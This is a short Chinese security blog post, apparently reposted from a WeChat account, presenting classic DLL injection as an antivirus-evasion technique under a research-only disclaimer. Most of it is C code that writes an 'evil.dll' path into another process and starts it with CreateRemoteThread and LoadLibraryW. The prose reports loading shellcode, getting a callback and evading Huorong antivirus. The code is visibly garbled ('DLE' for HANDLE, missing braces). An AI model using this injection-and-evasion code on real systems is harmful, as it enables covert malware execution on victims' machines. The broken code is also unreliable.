免责声明
文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任
根据以往的远程注入知识来实现DLL注入
#include <Windows.h>
#include <stdio.h>。 int main(int argc, char* argv[]) DLE processHandle; PVOID remoteBuffer;//声明了用于处理进程和远程内存的句柄和指针。 wchar_t dllPath[] = TEXT("C:\Users\Polar bear\Desktop\DLLinject\evil.dll"); //定义了要注入的DLL的路径。 printf("Injecting DLL to PID: %in", atoi(argv[1])); //打印要注入的DLL的进程ID。 processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); //打开了指定进程的句柄。 remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); //在指定进程中分配了内存空间。 WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); //将DLL的路径写入了指定进程的内存空间。 PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取了 LoadLibraryW 函数的地址。 CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); //在指定进程中创建了一个远程线程,以便加载DLL。 CloseHandle(processHandle); //关闭了进程句柄。 return 0; //返回了程序执行的结果。 |
这段代码的作用是打开一个指定进程的句柄,向其分配内存空间,将DLL路径写入该进程的内存中,然后创建一个远程线程来加载该DLL。
接下来实际操作:
这里我们dll中写入记载shellcode的代码
这里我们在命令行处进行exe的执行,将我们要注入的进程号给到(在测试的时候尽量不要注入到重要的进程中否则电脑可能会崩溃)
可以看到成功上线
当然咱得火绒大大也是没有报毒。
原文始发于微信公众号(泾弦安全):免杀 经典DLL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论